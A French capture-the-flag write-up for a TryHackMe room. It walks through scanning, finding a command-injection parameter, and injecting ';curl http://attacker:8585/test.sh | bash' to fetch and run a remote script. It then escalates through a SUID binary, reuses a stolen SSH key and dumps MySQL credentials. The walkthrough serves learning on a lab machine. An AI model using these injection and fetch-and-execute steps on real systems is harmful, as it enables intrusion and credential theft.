Where am I ? Catch me
Commandes :
nmap -T5 10.10.235.114
4 ports ouverts dont au moins 2 services ssh ( port 22 et 8022 ) et un service inconnu sur le port 2222.
dirsearch -u 10.10.235.114 -x 403
Dirsearch trouve plusieurs pages web, dont /index.php/login. Cette page, nous affiche le contenu d’un dossier, probablement /var/www/html. L’affichage de la source nous donne cette indication :
<!– where is the path ? –>
L’indice indique qu’il faut trouver le bon chemin pour faire des injections de commandes . On va utiliser wfuzz afin de
Commande :
wfuzz -u http://10.10.235.114/index.php?FUZZ=id -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt –filter ‘h!=329’
Le chemin est : path
Avec BurpSuite, il est possible de faire plusieurs essais pour bien comprendre le fonctionnement de login.php ?path= . Comme il y a déjà une commande ls qui se fait naturellement, il faut mettre ; pour passer une commande en plus.
Toujours avec BurpSuite, on va récupérer un fichier bash partage sur Kali avec curl. Puis le faire exécuter par bash via un pipe |
Commande finale :
;curl+http://10.11.38.124:8585/test.sh | bash
Il faut penser à encoder ( crtl + u ) la commande afin que le serveur puisse comprendre ce qui lui ai demandé.
Pour que curl puisse récupérer le fichier test.sh, li faut mettre en place un serveur web avec python avec la commande suivante :
python3.9 -m http.server 8585
Contenu du fichier test.sh
Commande :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Le binary crypt possède des droits suid root, et il peut être exécuté par tout le monde. Si on tente de l’exécuter avec une commande en plus exemple ./crypt id. Il nous donne ce message d’erreur : Unable to decompress.
Commande :
./crypt mike
On a basculé sur un compte root qui doit être dans un conteneur. On va énumérer avec linpeas.
Commande pour le télécharger :
wget http://10.11.38.124:8585/linpeas2.sh
Dans le compte de Mike, se trouve une clé privée id_rsa que l’on va tenter d’exploiter. Reste à savoir sur quel serveur ssh cette clé est valide ?
Le système possède trois interfaces Ethernet ( 192.168.250.10, 172.16.20.2, 127.0.0.1 ). Sur aucune de ses adresses IP la clé ne fonctionne. Sur les ports 22 et 8022 vu au début sur le scan nmap même chose.
Avec la ligne de commande suivante, une nouvelle adresse IP va apparaitre. Sur laquelle on va pouvoir se connecter en ssh.
for ip in $(seq 1 255 );do ping -c 1 172.16.20.$ip;done
Commande :
ssh mike@172.16.20.6 -i id_rsa
Il n’est pas possible d’atteindre le réseau de TryHackMe du fait d’une absence probable de routage entre les différentes carte Ethernet et conteneur. Il faut énumérer manuellement.
Il y a un serveur sql en écoute sur la boucle locale.
Commande :
netstat -tulpn
Commande :
mysql -u mike -p
La connexion demande un motdepasse qu’il faut deviner ( motdepasse en anglais)
Liste des commandes pour extraire les identifiants des comptes utilisateurs :
show databases;
use accounts
show tables ;
select * from users ;
On obtient le mot de passe du compte root. Il n’y a plus qu’à y connecter et récupérer le flag.
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.